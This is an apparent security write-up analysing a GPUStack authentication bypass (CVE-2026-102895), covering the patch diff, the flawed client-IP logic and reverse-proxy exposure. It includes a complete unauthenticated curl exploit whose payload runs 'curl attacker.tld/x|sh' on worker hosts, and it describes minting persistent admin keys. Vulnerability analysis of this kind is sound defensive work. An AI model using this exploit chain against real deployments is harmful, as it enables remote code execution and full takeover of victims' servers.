GPUStack 2.1.1 shipped a server flag named --force-auth-localhost. Its default value was False. The end of get_current_user in gpustack/api/auth.py ran a three-line block after every credential path had already returned no user, and the block loaded the first row in the users table where is_admin=True whenever client_ip_getter(request) returned the literal 127.0.0.1. client_ip_getter asked the TCP peer address when the embedded gateway was not in use, and an operator-supplied X-GPUStack-Real-IP header when it was. The May 19 fix for CVE-2026-102895 is three deleted lines, a flag retirement, and a commit message that reads fix: remove localhost auto-admin bypass. The vendor reports exploitation in the wild against v2.1.1 running attacker-created inference backends as reverse shells. CISA pinned the KEV remediation deadline to 2026-11-12, three days from publication.
CVE-2026-102895: GPUStack Shipped --force-auth-localhost With Default False. The Patch Retires the Flag.
patterns
cve
proof of concept
The three lines the patch deletes
The handler is the entire story. Commit 53f42a6a553542974396d16a4ff6b12bcbedb48d is signed by [email protected], the maintainer who owns gpustack/api/auth.py. The complete auth.py diff:
@@ -120,9 +120,6 @@ async def get_current_user(
if token is not None:
user, api_key = await get_user_from_api_token(session, token)
- if user is None and client_ip_getter(request=request) == "127.0.0.1":
- if not server_config.force_auth_localhost:
- user = await User.first_by_field(session, "is_admin", True)
if user:
if not user.is_active:
raise UnauthorizedException(message="User account is deactivated")The function above these three lines tries, in order, basic credentials, cookie JWT, bearer token, and X-API-Key. Any of those that succeed produce a user and leave the block unreached. If none produce a user, user is None, and the block runs. The block has three parts. It consults client_ip_getter for the source. It consults server_config.force_auth_localhost, which on a pre-patch install defaulted to False, so the not branch holds. It loads a user. The user it loads is the first row in the users table with is_admin=True, which on a standard install is the bootstrap administrator with scope ["*"]. Nothing further gates the result. The return path sets request.state.user so downstream get_admin_user and get_cluster_user dependencies see an admin principal and do not re-check.
The function is 50 lines. 47 of those lines try to authenticate. 3 give up and grant admin anyway.
client_ip_getter is a preference chain, and the attacker is every source
The helper that decides whether the caller is loopback is three branches in a function whose job is to return a string. The pre-patch body:
def client_ip_getter(request: Request) -> str:
if request.app.state.server_config.gateway_mode != GatewayModeEnum.disabled:
try:
gateway_token_auth(request)
real_ip = request.headers.get("X-GPUStack-Real-IP")
if real_ip:
return real_ip
except UnauthorizedException:
pass
return request.client.host if request.client else ""gateway_mode defaults to auto and resolves at startup. For a standalone server with no Kubernetes gateway and no external kubeconfig, detect_gateway_mode sets it to embedded. The condition != GatewayModeEnum.disabled holds in the default production shape. Inside the try, gateway_token_auth demands a token the external attacker does not have, so UnauthorizedException fires, and pass falls through to the last line. The last line returns request.client.host.
request.client.host is the TCP peer the ASGI server sees. When GPUStack sits behind a same-host reverse proxy, which the --trusted-hosts flag and the installation documentation assume, the peer is always 127.0.0.1. The attacker's HTTP request terminates at nginx on 443, nginx forwards it to 127.0.0.1:<gpustack-port>, and the ASGI server reports request.client.host == "127.0.0.1". get_current_user reads that string, compares it to the literal "127.0.0.1", and loads the first admin.
The second attack surface is the one the advisory names explicitly. When the operator runs GPUStack with a gateway mode that validates gateway_token_auth, and the attacker holds a valid gateway token, the try block completes. The handler then reads X-GPUStack-Real-IP and returns whatever string the client wrote. The string 127.0.0.1, written by the client, is the string the upstream check is looking for. This is the shape cookie-is-the-credential names at header grain: the attacker-written field carries a well-known public constant, and the server treats the constant as proof of a privileged identity without binding the value to a session, a secret, or a signature.
The catch block is the structural problem. pass on a failed gateway authentication writes the same return value as the success path through the disabled branch. The two paths through client_ip_getter should disagree: an untrusted request should resolve to whatever address the kernel wrote on the socket, with no shortcut to the authoritative loopback literal. They do not.
The default production deployment is the vulnerable one
GPUStack's installation page assumes a reverse proxy in front. The CLI reference documents --trusted-hosts as the flag the operator sets to name the proxy fronting the server; the default of * is called out as "not recommended unless the server is only reachable via a trusted proxy." The example config fragment ships trusted_hosts: [ "your_reverse_proxy_hostname" ]. The user guide's cluster-management page describes the worker routing mode in terms of a reverse-proxy pattern. The release notes do not include an upgrade warning for operators who were not running behind a proxy, because the operators who were not running behind a proxy were running in a tutorial environment on their own laptop.
The population of CVE-2026-102895-vulnerable deployments is not GPUStack installs where an operator set an unsafe flag. It is GPUStack installs that followed the documentation.
What the first admin can do at POST /v2/inference-backends/from-yaml
Every route below /v2/inference-backends lives on v1_base_router, mounted with dependencies=[Depends(get_current_user)]. Whatever get_current_user returns is the principal the handler sees; nothing between the router and the body recomputes it. The handler for from-yaml is create_inference_backend_from_yaml in gpustack/routes/inference_backend.py:
@router.post("/from-yaml", response_model=InferenceBackend)
async def create_inference_backend_from_yaml(
session: SessionDep, ctx: TenantContextDep, payload: dict = Body(...)
):
try:
yaml_content = payload.get("content")
if not yaml_content:
raise BadRequestException(message="Missing 'content' field in request body")
req_yaml_data = yaml.safe_load(yaml_content)
...
allowed_keys = [
"backend_name", "version_configs", "default_version",
"default_backend_param", "default_run_command",
"default_entrypoint", "health_check_path", "description",
"default_env", "enabled", "backend_source",
"parameter_format", "common_parameters",
]
yaml_data = {k: req_yaml_data[k] for k in allowed_keys if k in req_yaml_data}
...
backend = InferenceBackend(**yaml_data, owner_principal_id=target_org_id)
backend = await InferenceBackend.create(session, backend)The handler accepts a JSON body with a content field, parses it as YAML, filters the YAML on an allowlist, and writes an InferenceBackend row whose default_run_command the attacker supplied. A default_run_command is a shell string the worker executes when the backend starts. The vendor's reference example in the handler's own docstring is "python server.py --port {{port}} --model {{model_path}}". The attacker's example is anything else.
The full chain, with no credentials, against a same-host-reverse-proxied install:
curl -X POST https://gpustack.example.com/v2/inference-backends/from-yaml \
-H 'Content-Type: application/json' \
-d '{"content": "backend_name: pwn\nversion_configs:\n v1:\n image_name: alpine\n run_command: /bin/sh -c \"curl attacker.tld/x|sh\"\ndefault_version: v1\ndefault_run_command: /bin/sh -c \"curl attacker.tld/x|sh\"\n"}'The request carries no cookie, no bearer token, no basic auth, no API key. nginx forwards it to 127.0.0.1:<port>. get_current_user receives a request where every credential path returns None, reads request.client.host == "127.0.0.1", and returns the first admin. create_inference_backend_from_yaml runs with an admin principal. The YAML parse succeeds. The InferenceBackend row is written. The next model deployment routed to this backend runs /bin/sh -c "curl attacker.tld/x|sh" on a worker host. The advisory says exploitation observed in the wild took exactly this shape: attacker-created inference backends running reverse shells.
The attacker can also, in the same session, call POST /v2/api-keys to mint a persistent admin key with scope ["*"]. The admin-key path is the persistent foothold; the inference-backend path is the code execution. Either one, on its own, is the CVSS 9.8 the record carries.
The flag was the design, and the patch retires the flag
The patch is not a new check. It is the removal of a block of code and the retirement of the flag that was supposed to control it. The commit retires the flag in four files: the handler, the config class, the CLI help text, and the documentation. The CLI help, post-patch, reads:
(DEPRECATED) No-op. Localhost callers are always authenticated; this flag is retained for backwards compatibility with existing configurations and will be removed in a future release.
The config's docstring, post-patch, reads:
force_auth_localhost: (Deprecated, no-op) Localhost callers are always authenticated. Retained for backwards compatibility.
The pre-patch value of the flag was a boolean, defaulting to False, named for what it opted into. Setting it to True forced authentication on localhost callers. Leaving it at False, the default, did not. A reader who read the flag's name and its default would conclude that GPUStack had chosen to treat localhost as an authenticated principal by design, and had provided an opt-out for operators who did not want that. The conclusion was correct. The fix is the vendor withdrawing the design.
This is the pattern internal-only-by-convention: a channel the authors describe as internal (the TCP peer 127.0.0.1, the header X-GPUStack-Real-IP) is read on every inbound public request with security-relevant authority, and the trust boundary the convention names is not a boundary the handler can enforce. Cline's isKanbanRemoteHost() (CVE-2026-44211) returned true only when the runtime host was non-localhost, so every browser tab on the same machine spoke to 127.0.0.1 with full local-caller privileges. KTransformers (CVE-2026-26210) bound its listener to 0.0.0.0 and assumed the only caller was on localhost. Citrix SD-WAN Center (CVE-2019-12988) named a /Collector/ URL prefix as internal and shipped a mitigation that asked operators to restrict network access to the management console. GPUStack's get_current_user read 127.0.0.1 as proof-of-admin because the authors assumed the only path to that string was the operator's own terminal. The authors were writing documentation. The network was reading the handler.
Independently reported by Nikko Enggaliano, Wei Yunzhou, Rui Yang, and Haoyu Wang of Johns Hopkins University. In-the-wild exploitation documented by Javier Sixto.
Three deleted lines name the admission that the design was wrong. Retiring the flag names the admission that there was no safe value of it.